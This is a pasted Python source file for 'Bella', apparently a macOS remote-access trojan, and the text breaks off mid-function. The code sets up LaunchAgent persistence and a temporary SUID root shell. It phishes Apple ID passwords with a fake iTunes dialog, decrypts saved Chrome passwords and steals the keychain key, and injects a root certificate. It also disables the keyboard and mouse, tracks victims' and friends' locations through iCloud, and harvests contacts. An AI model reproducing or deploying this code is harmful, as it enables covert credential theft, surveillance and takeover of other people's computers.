· 6 years ago · Dec 04, 2019, 10:41 PM
1#!/usr/bin/env python
2# -*- coding: utf-8 -*-
3import sys, socket, subprocess, time, os, platform, struct, getpass, datetime, plistlib, re, stat, grp, shutil
4import string, json, traceback, pwd, urllib, urllib2, base64, binascii, hashlib, sqlite3, bz2, pickle, ast
5import StringIO, zipfile, hmac, tempfile, ssl
6from xml.etree import ElementTree as ET
7from subprocess import Popen, PIPE
8from glob import glob
9development = False
10def create_bella_helpers(launch_agent_name, bella_folder, home_path):
11 launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
12 <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
13 <plist version=\"1.0\">
14 <dict>
15 <key>Label</key>
16 <string>%s</string>
17 <key>ProgramArguments</key>
18 <array>
19 <string>%s/Library/%s/Bella</string>
20 </array>
21 <key>StartInterval</key>
22 <integer>5</integer>
23 </dict>
24 </plist>\n""" % (launch_agent_name, home_path, bella_folder)
25 if not os.path.isdir('%s/Library/LaunchAgents/' % home_path):
26 os.makedirs('%s/Library/LaunchAgents/' % home_path)
27 with open('%s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), 'wb') as content:
28 content.write(launch_agent_create)
29
30
31 if not os.path.isdir('%s/Library/%s/' % (home_path, bella_folder)):
32 os.makedirs('%s/Library/%s/' % (home_path, bella_folder))
33 if development:
34 with open(__file__, 'rb') as content:
35 with open('%s/Library/%s/Bella' % (home_path, bella_folder), 'wb') as binary:
36 binary.write(content.read())
37 else:
38 os.rename(__file__, '%s/Library/%s/Bella' % (home_path, bella_folder))
39 os.chmod('%s/Library/%s/Bella' % (home_path, bella_folder), 0777)
40
41 out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read()
42 if out == '':
43 time.sleep(1)
44 ctl_list = subprocess.Popen('launchctl list'.split(), stdout=subprocess.PIPE)
45 ctl = ctl_list.stdout.read()
46 completed = False
47 for agent in ctl.splitlines():
48 if launch_agent_name in agent:
49 completed = True
50 if completed:
51
52
53 exit()
54 else:
55 pass
56
57 elif 'service already loaded' in out:
58
59 exit()
60 else:
61
62 pass
63 return
64
65def globber(path): #if we are root, this globber will give us all paths
66 if os.getuid() != 0:
67 if is_there_SUID_shell():
68 (status, msg) = do_root(r"python -c \"from glob import glob; print glob('%s')\"" % path) #special escapes
69 if status:
70 return ast.literal_eval(msg) #convert string list to list
71 return glob(path)
72
73def protected_file_lister(path):
74 if os.getuid() != 0:
75 if is_there_SUID_shell():
76 (status, msg) = do_root(r"python -c \"import os; print os.listdir('%s')\"" % path) #special escapes
77 if status:
78 return ast.literal_eval(msg)
79 return os.listdir(path)
80
81def protected_file_reader(path): #for reading files when we have a backdoor root shell
82 if os.getuid() != 0:
83 if is_there_SUID_shell():
84 (status, msg) = do_root(r"python -c \"g = open('%s'); print g.read(); g.close()\"" % path) #special escapes
85 if status:
86 return msg[:-2] #this will be a raw representation of the file. knock off last 2 carriage returns
87 if os.access(path, os.R_OK):
88 with open(path, 'r') as content:
89 return content.read()
90 return '[%s] is not accessible' % path
91
92def subprocess_manager(pid, path, name): #will keep track of a PID and its path in the global payload_list
93 global payload_list
94 payload_list.append((pid, path, name)) #path is the binary that we will shutil.rmtree for, and PID we will kill
95 return True
96
97def subprocess_cleanup(): #will clean up all of those in the global payload_list
98 global payload_list
99 for x in payload_list:
100 p = kill_pid(x[0])
101 #print 'Killed pid [%s]: %s' % (x[0], repr(p))
102 payload_cleaner()
103 #print 'removed payload [%s]: %s' % (x[1], repr(p))
104 if p:
105
106 payload_list.remove(x)
107
108def readDB(column, payload=False):
109 #we need the path specified below, because we cant read the helper location from DB without knowing what to read
110 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
111 c = conn.cursor()
112 if payload:
113 c.execute("SELECT %s FROM payloads WHERE id = 1" % column)
114 else:
115 c.execute("SELECT %s FROM bella WHERE id = %s" % (column, bella_UID))
116 try:
117 value = c.fetchone()[0]
118 if value == None:
119 return False
120 except TypeError as e:
121 return False
122 return base64.b64decode(value) #DECODES the data that updatedb ENCODES!
123
124def updateDB(data, column):
125 data = base64.b64encode(data) #readDB will return this data DECODED
126 if not os.path.isfile("%sbella.db" % get_bella_path()):
127 creator = createDB()
128 if not creator[0]:
129 return (False, "Error creating database! [%s]" % creator[1])
130 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
131 c = conn.cursor()
132 c.execute("SELECT * FROM bella WHERE id = %s" % bella_UID)
133 if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
134 c.execute("INSERT INTO bella (id, username) VALUES (%s, '%s')" % (bella_UID, get_bella_user()))
135 c.execute("UPDATE bella set %s = '%s' WHERE id = %s" % (column, data, bella_UID))
136 conn.commit()
137 conn.close()
138 return (True, '')
139
140def check_if_payloads():
141 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
142 c = conn.cursor()
143 c.execute("SELECT * FROM payloads WHERE id = 1")
144 if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
145 return False
146 return True
147
148def inject_payloads(payload_encoded):
149 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
150 c = conn.cursor()
151 try:
152 (vncFile, kcFile, mcFile, rsFile, insomniaFile, lockFile, chainbreakerFile) = payload_encoded.splitlines()
153 c.execute("INSERT INTO payloads (id, vnc, keychaindump, microphone, root_shell, insomnia, lock_icon, chainbreaker) VALUES (1, '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (vncFile.encode('base64'), kcFile.encode('base64'), mcFile.encode('base64'), rsFile.encode('base64'), insomniaFile.encode('base64'), lockFile.encode('base64'), chainbreakerFile.encode('base64')))
154 conn.commit()
155 conn.close()
156 return True
157 except Exception as e:
158
159 conn.close()
160 return False
161
162def createDB():
163 try:
164 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
165 c = conn.cursor()
166 c.execute("CREATE TABLE bella (id int, username text, lastLogin text, model text, mme_token text, applePass text, localPass text, chromeSS text, text)")
167 c.execute("CREATE TABLE payloads(id int, vnc text, keychaindump text, microphone text, root_shell text, insomnia text, lock_icon text, chainbreaker text)")
168 conn.commit()
169 conn.close()
170
171 except sqlite3.OperationalError as e:
172 if e[0] == "table bella already exists":
173 return (True, e)
174 else:
175 return (False, e) #some error
176 return (True, None)
177
178def encrypt(data):
179 #This function will encode any given data into base64. It will then pass this encoded data as
180 #a command line argument, into the openssl binary, where it will be encrypted with aes-128-cbc
181 #using the master key specified at the top of the program. We encode the data so there are no unicode issues
182 #the openssl binary will then return ANOTHER DIFFERENT base64 string, that is the ENCODED ENCRYPTED data
183 #this ENCODED ENCRYPTED DATA [of ENCODED RAW DATA] can be decrypted by the decrypt function, which expects a
184 #base64 input and outputs the original raw data in an encoded format. this encoded format is then decoded and returned to
185 #the subroutine that called the function.
186 data = base64.b64encode(data)
187 encrypted = subprocess.check_output("openssl enc -base64 -e -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
188 return encrypted
189
190def decrypt(data):
191 #data = base64.b64decode(data)
192 decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -k %s <<< '%s'" % (cryptKey, data), shell=True) #encrypt password
193 return base64.b64decode(decrypted)
194
195def main_iCloud_helper():
196 error, errorMessage = False, False
197 dsid, token = "", ""
198 (username, password, usingToken) = iCloud_auth_process(False)
199 error = False
200 if password == False:
201 errorMessage = "%s%s" % (red_minus, username) #username will have the error message
202 error = True
203 else:
204 content = dsid_factory(username, password)
205 if content[0] == False:
206 errorMessage =content[1]
207 error = True
208 else:
209 try:
210 (dsid, token, usingToken) = content
211 except ValueError, e:
212 errorMessage = '\n'.join(content)
213 error = True
214 return (error, errorMessage, dsid, token)
215
216def byte_convert(byte):
217 for count in ['B','K','M','G']:
218 if byte < 1024.0:
219 return ("%3.1f%s" % (byte, count)).replace('.0', '')
220 byte /= 1024.0
221 return "%3.1f%s" % (byte, 'TB')
222
223def cur_GUI_user():
224 try:
225 return subprocess.check_output("stat -f '%Su' /dev/console", shell=True).replace("\n", "")
226 except:
227 return "No Current GUI"
228
229def check_output(cmd):
230 process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
231 stderr = process.stderr.read()
232 stdout = process.stdout.read()
233 if process.wait() != 0:
234
235 return (False, stderr, process.wait()) #failed, stderr, exit code
236 return (True, stdout, process.wait()) #completed successfully, stdout, exit code
237
238def appleIDPhishHelp():
239 returnString = ""
240 for x in get_iTunes_accounts():
241 if x[0]:
242 returnString += "Local user: [%s] Apple ID: [%s]\n" % (x[2], x[1])
243 else:
244 pass
245 return pickle.dumps((returnString, cur_GUI_user()))
246
247def appleIDPhish(username, GUIUser):
248 global bellaConnection
249 while True:
250 ### CTRLC listener
251 bellaConnection.settimeout(0.0)
252 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
253 if recv_msg(bellaConnection) == 'sigint9kill':
254 sys.stdout.flush()
255 send_msg('terminated', True) #send back confirmation along with STDERR
256 done = True
257 bellaConnection.settimeout(None)
258 return 1
259 except socket.error as e: #no message, business as usual
260 pass
261 bellaConnection.settimeout(None)
262
263 check = applepwRead()
264 if isinstance(check, str): #we have file...
265 send_msg("%sApple password already found [%s] %s\n" % (blue_star, check, blue_star), False)
266 break
267 osa = "launchctl asuser " + str(bella_UID) + " osascript -e 'tell application \"iTunes\"' -e \"pause\" -e \"end tell\"; osascript -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to display dialog \"Error connecting to iTunes. Please verify your password for " + username + " \" default answer \"\" with icon 1 with hidden answer with title \"iTunes Connection\"'"
268 #pauses music, then prompts user
269 out = check_output(osa)
270 if not out[0]:
271 #user has attempted to cancel
272 send_msg("[-] User has attempted to cancel. Trying again.\n", False)
273 continue
274 else:
275 out = out[1]
276 passw = out.split()[3]
277 passw = passw.split(':')[1]
278 send_msg("%sUser has attempted to use password: %s\n" % (blue_star, passw), False)
279 try:
280 request = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
281 base64string = base64.encodestring('%s:%s' % (username, passw)).replace('\n', '')
282 request.add_header("Authorization", "Basic %s" % base64string)
283 result = urllib2.urlopen(request)
284 out2 = result.read()
285 except Exception, e:
286 if str(e) == "HTTP Error 401: Unauthorized":
287 out2 = "fail?"
288 elif str(e) == "HTTP Error 409: Conflict":
289 out2 = "2sV"
290 else:
291 out2 = "otherError!"
292
293 if out2 == "fail?":
294 send_msg(red_minus + "Bad combo: [%s:%s]\n" % (username, passw), False)
295 continue
296 elif out2 == "2sV":
297 send_msg("%sVerified! [2FV Enabled] Account -> [%s:%s]%s\n" % (greenPlus, username, passw, endANSI), False)
298 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
299 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
300 break
301 elif out2 == "otherError!":
302 send_msg("%sMysterious error with [%s:%s]\n" % (red_minus, username, passw), False)
303 break
304 else:
305 send_msg("%sVerified! Account -> %s[%s:%s]%s\n" % (greenPlus, bold, username, passw, endANSI), False)
306 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
307 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
308 break
309 send_msg('', True)
310 return 1
311
312def is_there_SUID_shell():
313 if os.getuid() == 0:
314 return True
315
316 if os.path.isfile('/usr/local/roots'):
317 return True
318
319 if local_pw_read():
320 #send_msg("%sLocal PW present.\n" % greenPlus, False)
321 binarymake = make_SUID_root_binary(local_pw_read(), None)
322 #send_msg(binarymake[1], False)
323 if binarymake[0]: #we have successfully created a temp root shell
324 return True
325 return False
326
327 return False
328
329def remove_SUID_shell():
330 if os.path.isfile('/usr/local/roots'):
331 try:
332 os.system('/usr/local/roots rm /usr/local/roots > /dev/null')
333 #send_msg('%sRemoved temporary root shell.\n' % yellow_star, False) #%
334 except Exception as e:
335 pass
336 #send_msg('%sError removing temporary root shell @ /usr/local/roots. You should delete this manually.\n' % red_minus , False)
337 return
338
339def do_root(command):
340 if os.getuid() == 0:
341 output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
342 out = output.stdout.read()
343 err = output.stderr.read()
344 if output.wait() != 0:
345 return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
346 return (True, "%s\n" % out)
347 else:
348 if not is_there_SUID_shell():
349 return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
350 output = subprocess.Popen("/usr/local/roots \"%s\"" % (command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
351 out = output.stdout.read()
352 err = output.stderr.read()
353 if err != '':
354 return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
355 return (True, "%s\n" % out)
356
357def cert_inject(cert):
358 cPath = tempfile.mkdtemp()
359 with open('%scert.crt' % cPath, 'w') as content:
360 content.write(cert)
361 temp_file_list.append(cPath)
362 (success, msg) = do_root("security add-trusted-cert -d -r trustRoot -k /System/Library/Keychains/SystemRootCertificates.keychain %scert.crt" % cPath)
363 if not success:
364 return "%sError injecting root CA into System Keychain:\n%s" % (red_minus, msg)
365 payload_cleaner()
366 return "%sCertificate Authority injected into System Keychain!\n" % yellow_star
367
368def cert_remove(shahash):
369 (success, msg) = do_root("security delete-certificate -Z %s /System/Library/Keychains/SystemRootCertificates.keychain" % shahash)
370 if not success:
371 return "%sError removing root CA from System Keychain:\n%s" % (red_minus, msg)
372 return "%sCertificate Authority removed from System Keychain!\n" % yellow_star
373
374def check_current_users():
375 output = check_output("w -h | sort -u -t' ' -k1,1 | awk {'print $1'}")
376 if not output[0]:
377 return "Error finding current users.\n"
378 return output[1]
379
380def check_pid(pid):
381 try:
382 os.kill(pid, 0)
383 except OSError:
384 return False
385 else:
386 return True
387
388def chrome_decrypt(encrypted_value, iv, key): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
389 hexKey = binascii.hexlify(key)
390 hexEncPassword = base64.b64encode(encrypted_value[3:])
391 decrypted = check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword))
392 if not decrypted[0]:
393 decrypted = "ERROR retrieving password.\n"
394 return decrypted[1] #otherwise we got it
395
396def chrome_dump(safe_storage_key, loginData):
397 returnable = "%s%sPasswords for [%s]%s:\n" % (yellow_star, bold + underline, loginData.split("/")[-2], endANSI)
398 empty = True
399 for i, x in enumerate(chrome_process(safe_storage_key, "%s" % loginData)):
400 returnable += "%s[%s]%s %s%s%s\n\t%sUser%s: %s\n\t%sPass%s: %s\n" % ("\033[32m", (i + 1), "\033[0m", "\033[1m", x[0], "\033[0m", "\033[32m", "\033[0m", x[1], "\033[32m", "\033[0m", x[2])
401 empty = False
402 if not empty:
403 return returnable
404 else:
405 return "%sFound no Chrome Passwords for [%s].\n" % (blue_star, loginData.split("/")[-2])
406
407def chrome_process(safe_storage_key, loginData):
408 iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
409 key = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
410 copypath = tempfile.mkdtemp() #work around for locking DB
411 dbcopy = protected_file_reader(loginData) #again, shouldnt matter because we only can decrypt DBs with keys
412 with open('%s/chrome' % copypath, 'wb') as content:
413 content.write(dbcopy) #if chrome is open, the DB will be locked, so get around by making a temp copy
414 database = sqlite3.connect('%s/chrome' % copypath)
415 sql = 'select username_value, password_value, origin_url from logins'
416 decryptedList = []
417 with database:
418 for user, encryptedPass, url in database.execute(sql):
419 if user == "" or (encryptedPass[:3] != b'v10'): #user will be empty if they have selected "never" store password
420 continue
421 else:
422 urlUserPassDecrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chrome_decrypt(encryptedPass, iv, key=key).encode('ascii', 'ignore'))
423 decryptedList.append(urlUserPassDecrypted)
424 shutil.rmtree(copypath)
425 return decryptedList
426
427def chrome_safe_storage():
428 global bellaConnection
429 retString = ""
430 check = chromeSSRead()
431 if isinstance(check, str):
432 send_msg("%sPreviously generated Google Chrome Safe Storage key.\n%s%s\n" % (blue_star, blue_star, check), True)
433 return
434 while True:
435 ### CTRLC listener
436 bellaConnection.settimeout(0.0)
437 try: #SEE IF WE HAVE INCOMING MESSAGE MID LOOP
438 if recv_msg(bellaConnection) == 'sigint9kill':
439 sys.stdout.flush()
440 send_msg('terminated', True) #send back confirmation along with STDERR
441 done = True
442 bellaConnection.settimeout(None)
443 return 1
444 except socket.error as e: #no message, business as usual
445 pass
446 bellaConnection.settimeout(None)
447 kchain = getKeychains()
448 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
449
450 encryptionKey = check_output("launchctl asuser %s security find-generic-password -wa 'Chrome' '%s'" % (bella_UID, kchain)) #get rid of \n
451 if not encryptionKey[0]:
452 if 51 == encryptionKey[2]:
453 send_msg("%sUser clicked deny.\n" % red_minus, False)
454 continue
455 elif 44 == encryptionKey[2]:
456 send_msg("%sNo Chrome Safe Storage Key Found!\n" % red_minus, True)
457 return
458 else:
459 send_msg("Strange error [%s]\n" % encryptionKey[1], True)
460 return
461 updateDB(encrypt(encryptionKey[1].replace('\n', '')), 'chromeSS') #got it
462 send_msg("%sChrome Key: [%s]\n" % (blue_star, encryptionKey[1].replace('\n', '')), True)
463 return
464
465def disable_keyboard_mouse(device):
466 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
467 (success, msg) = do_root("kextunload %s" % paths[device])
468 if not success:
469 return "%sError disabling %s.\n%s" % (red_minus, paths[device], msg)
470 return "%s%s successfully disabled!\n" % (greenPlus, device)
471
472def dsid_factory(uname, passwd):
473 resp = None
474 req = urllib2.Request("https://setup.icloud.com/setup/authenticate/%s" % uname)
475 req.add_header('Authorization', 'Basic %s' % base64.b64encode("%s:%s" % (uname, passwd)))
476 req.add_header('Content-Type', 'application/json')
477 try:
478 resp = urllib2.urlopen(req)
479 except urllib2.HTTPError as e:
480 if e.code != 200:
481 if e.code == 401:
482 return (False, "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?\n", False)
483 elif e.code == 409:
484 tokenLocal = tokenRead()
485 if tokenLocal != False: #if we have token use it ... bc 2SV wont work with regular uname/passw
486 dsid = tokenLocal.split("\n")[1].split(":")[0]
487 tokz = tokenLocal.split("\n")[1].split(":")[1]
488 return (dsid, tokz, True)
489 else:
490 return (False, "HTTP Error 409: Conflict. 2 Factor Authentication appears to be enabled. You cannot use this function unless you get your MMeAuthToken manually (generated either on your PC/Mac or on your iOS device).\n", False)
491 elif e.code == 404:
492 return (False, "HTTP Error 404: URL not found. Did you enter a username?\n", False)
493 else:
494 return (False, "HTTP Error %s." % e.code, False)
495 else:
496 return e
497 content = resp.read()
498 uname = plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"] #stitch our own auth DSID
499 passwd = plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"] #stitch with token
500 return (uname, passwd, False) #third value is "usingToken?"
501
502def enable_keyboard_mouse(device):
503 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
504 (success, msg) = do_root("kextload %s" % paths[device])
505 if not success:
506 return "%sError enabling %s.\n%s" % (red_minus, paths[device], msg)
507 return "%s%s successfully enabled!\n" % (greenPlus, device)
508
509def enumerate_chrome_profiles():
510 return globber("/Users/*/Library/Application Support/Google/Chrome/*/Login Data")
511
512def FMIP(username, password):
513 i = 0
514 try: #if we are given a FMIP token, change auth Type
515 int(username)
516 authType = "Forever"
517 except ValueError: #else apple id use useridguest
518 authType = "UserIDGuest"
519 while True:
520 i +=1
521 url = 'https://fmipmobile.icloud.com/fmipservice/device/%s/initClient' % username
522 headers = {
523 'X-Apple-Realm-Support': '1.0',
524 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (username, password)),
525 'X-Apple-Find-API-Ver': '3.0',
526 'X-Apple-AuthScheme': '%s' % authType,
527 'User-Agent': 'FindMyiPhone/500 CFNetwork/758.4.3 Darwin/15.5.0',
528 }
529 request = urllib2.Request(url, None, headers)
530 request.get_method = lambda: "POST"
531 try:
532 response = urllib2.urlopen(request)
533 z = json.loads(response.read())
534 except urllib2.HTTPError as e:
535 if e.code == 401:
536 return "Authorization Error 401. Try credentials again."
537 if e.code == 403:
538 pass #can ignore
539 raise e
540 if i == 2: #loop twice / send request twice
541 break
542 send_msg("Sent \033[92mlocation\033[0m beacon to \033[91m[%s]\033[0m devices\n" % len(z["content"]), False)
543 send_msg("Awaiting response from iCloud...\n", False)
544 #okay, FMD request has been sent, now lets wait a bit for iCloud to get results, and then do again, and then break
545 time.sleep(5)
546 send_msg("\033[94m(%s %s | %s)\033[0m -> \033[92mFound %s Devices\033[0m\n-------\n" % (z["userInfo"]["firstName"], z["userInfo"]["lastName"], username, len(z["content"])), False)
547 i = 1
548 for y in z["content"]:
549 try:
550 send_msg("Device [%s]\n" % i, False)
551 i += 1
552 send_msg("Model: %s\n" % y["deviceDisplayName"], False)
553 send_msg("Name: %s\n" % y["name"], False)
554 timeStamp = y["location"]["timeStamp"] / 1000
555 timeNow = time.time()
556 timeDelta = timeNow - timeStamp #time difference in seconds
557 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
558 hours, minutes = divmod(minutes, 60)
559 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
560 if hours > 0:
561 timeStamp = "%s (%sh %sm %ss ago)" % (timeStamp, str(hours).split(".")[0], str(minutes).split(".")[0], str(seconds).split(".")[0])
562 else:
563 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0])
564 send_msg("Latitude, Longitude: <%s;%s>\n" % (y["location"]["latitude"], y["location"]["longitude"]), False)
565 send_msg("Battery: %s & %s\n" % (y["batteryLevel"], y["batteryStatus"]), False)
566 send_msg("\033[92mLocated at: %s\033[0m\n" % timeStamp, False)
567 send_msg("-------\n", False)
568 except TypeError,e :
569 send_msg("\033[92mCould not get GPS lock!\033[0m\n", False)
570 send_msg('', True)
571 return 0
572
573def get_card_links(dsid, token):
574 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
575 headers = {
576 'Depth': '1',
577 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
578 'Content-Type': 'text/xml',
579 }
580 data = """<?xml version="1.0" encoding="UTF-8"?>
581 <A:propfind xmlns:A="DAV:">
582 <A:prop>
583 <A:getetag/>
584 </A:prop>
585 </A:propfind>
586 """
587 request = urllib2.Request(url, data, headers)
588 request.get_method = lambda: 'PROPFIND' #replace the get_method fxn from its default to PROPFIND to allow for successfull cardDav pull
589 response = urllib2.urlopen(request)
590 zebra = ET.fromstring(response.read())
591 returnedData = """<?xml version="1.0" encoding="UTF-8"?>
592 <F:addressbook-multiget xmlns:F="urn:ietf:params:xml:ns:carddav">
593 <A:prop xmlns:A="DAV:">
594 <A:getetag/>
595 <F:address-data/>
596 </A:prop>\n"""
597 for response in zebra:
598 for link in response:
599 href = response.find('{DAV:}href').text #get each link in the tree
600 returnedData += "<A:href xmlns:A=\"DAV:\">%s</A:href>\n" % href
601 return "%s</F:addressbook-multiget>" % str(returnedData)
602
603def get_card_data(dsid, token):
604 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
605 headers = {
606 'Content-Type': 'text/xml',
607 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
608 }
609 data = get_card_links(dsid, token)
610 request = urllib2.Request(url, data, headers)
611 request.get_method = lambda: 'REPORT' #replace the get_method fxn from its default to REPORT to allow for successfull cardDav pull
612 response = urllib2.urlopen(request)
613 zebra = ET.fromstring(response.read())
614 i = 0
615 contactList, phoneList, cards = [], [], []
616 for response in zebra:
617 tel, contact, email = [], [], []
618 name = ""
619 vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find('{urn:ietf:params:xml:ns:carddav}address-data').text
620 if vcard:
621 for y in vcard.splitlines():
622 if y.startswith("FN:"):
623 name = y[3:]
624 if y.startswith("TEL;"):
625 tel.append((y.split("type")[-1].split(":")[-1].replace("(", "").replace(")", "").replace(" ", "").replace("-", "").encode("ascii", "ignore")))
626 if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"):
627 email.append(y.split(":")[-1])
628 cards.append(([name], tel, email))
629 return sorted(cards)
630
631def get_iTunes_accounts():
632 iClouds = globber("/Users/%s/Library/Accounts/Accounts3.sqlite" % get_bella_user()) #we are only interested in the current GUI user
633 returnList = []
634 for x in iClouds:
635 database = sqlite3.connect(x)
636 try:
637 accounts = list(database.execute("SELECT ZUSERNAME FROM ZACCOUNT WHERE ZACCOUNTDESCRIPTION='iCloud'"))
638 username = accounts[0][0] #gets just the first account, no multiuser support yet
639 returnList.append((True, username, x.split("/")[2]))
640 except Exception, e:
641 if str(e) == "list index out of range":
642 returnList.append((False, "No iCloud Accounts present\n", x.split("/")[2]))
643 else:
644 returnList.append((False, "%s\n" % str(e), x.split("/")[2]))
645 return returnList
646
647def get_model():
648 model = readDB('model')
649 if not model:
650 return model
651 return model
652
653def heard_it_from_a_friend_who(uDsid, mmeAuthToken, cardData):
654 mmeFMFAppToken = tokenFactory(base64.b64encode("%s:%s" % (uDsid, mmeAuthToken)))[0][2]
655 url = 'https://p04-fmfmobile.icloud.com/fmipservice/friends/%s/refreshClient' % uDsid
656 headers = {
657 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (uDsid, mmeFMFAppToken)),#FMF APP TOKEN
658 'Content-Type': 'application/json; charset=utf-8',
659 }
660 data = {
661 "clientContext": {
662 "appVersion": "5.0" #critical for getting appropriate config / time apparently.
663 }
664 }
665 jsonData = json.dumps(data)
666 request = urllib2.Request(url, jsonData, headers)
667 i = 0
668 while 1:
669 try:
670 response = urllib2.urlopen(request)
671 break
672 except: #for some reason this exception needs to be caught a bunch of times before the request is made.
673 i +=1
674 continue
675 x = json.loads(response.read())
676 dsidList = []
677 phoneList = [] #need to find how to get corresponding name from CalDav
678 for y in x["following"]: #we need to get contact information.
679 for z, v in y.items():
680 #do some cleanup
681 if z == "invitationAcceptedHandles":
682 v = v[0] #v is a list of contact information, we will grab just the first identifier
683 phoneList.append(v)
684 if z == "id":
685 v = v.replace("~", "=")
686 v = base64.b64decode(v)
687 dsidList.append(v)
688 zippedList = zip(dsidList, phoneList)
689 retString = ""
690 i = 0
691 for y in x["locations"]:#[0]["location"]["address"]:
692 streetAddress, country, state, town, timeStamp = " " *5
693 dsid = y["id"].replace("~", "=")
694 dsid = base64.b64decode(dsid) #decode the base64 id, and find its corresponding one in the zippedList.
695 for g in zippedList:
696 if g[0] == dsid:
697 phoneNumber = g[1] #we should get this for every person. no errors if no phone number found.
698 for x in cardData:
699 for nums in x[1]:
700 if phoneNumber.replace("+1", "") in nums:
701 phoneNumber += " (%s)" % x[0][0]
702 for emails in x[2]:
703 if phoneNumber in emails:
704 phoneNumber += " (%s)" % x[0][0]
705 try:
706 timeStamp = y["location"]["timestamp"] / 1000
707 timeNow = time.time()
708 timeDelta = timeNow - timeStamp #time difference in seconds
709 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
710 hours, minutes = divmod(minutes, 60)
711 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
712 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) #split at decimal
713 except TypeError:
714 timeStamp = "Could not get last location time."
715
716 if not y["location"]: #once satisfied, all is good, return fxn will end
717 continue #go back to top of loop and re-run query
718
719 for z, v in y["location"]["address"].items(): #loop through address info
720 #counter of threes for pretty print...
721 if type(v) is list:
722 continue
723 if z == "streetAddress":
724 streetAddress = v
725 if z == "countryCode":
726 country = v
727 if z == "stateCode":
728 state = v
729 if z == "locality":
730 town = v
731
732 if streetAddress != " ": #in the event that we cant get a street address, dont print it to the final thing
733 retString += "%s\n%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + streetAddress, town, state, country, "\033[0m" + timeStamp,"-----")
734 else:
735 retString += "%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + town, state, country, "\033[0m" + timeStamp,"-----")
736
737 i += 1
738 localToken = tokenRead()
739 if tokenRead() != False:
740 uDsid = tokenRead().split("\n")[0]
741 return retString + "\033[91mFound \033[93m[%s]\033[91m friends for %s!\033[0m\n" % (i, uDsid)
742
743def iCloud_auth_process(tokenOverride):
744 #this function will return a username and password combination, or a DSID and token combination, along with a code for which one is being used.
745 returnString = ""
746 token = ""
747 usingToken = False
748 localToken = tokenRead()
749
750 applePresent = applepwRead()
751
752 if isinstance(applePresent, str) and tokenOverride == False:
753 (username, password) = applepwRead().split(":") #just take the first account if there are multiple
754 usingToken = False
755
756 elif localToken != False: #means we have a token file.
757 try:
758 (username, password) = localToken.split("\n")[1].split(":")
759 usingToken = True
760 except Exception, e:
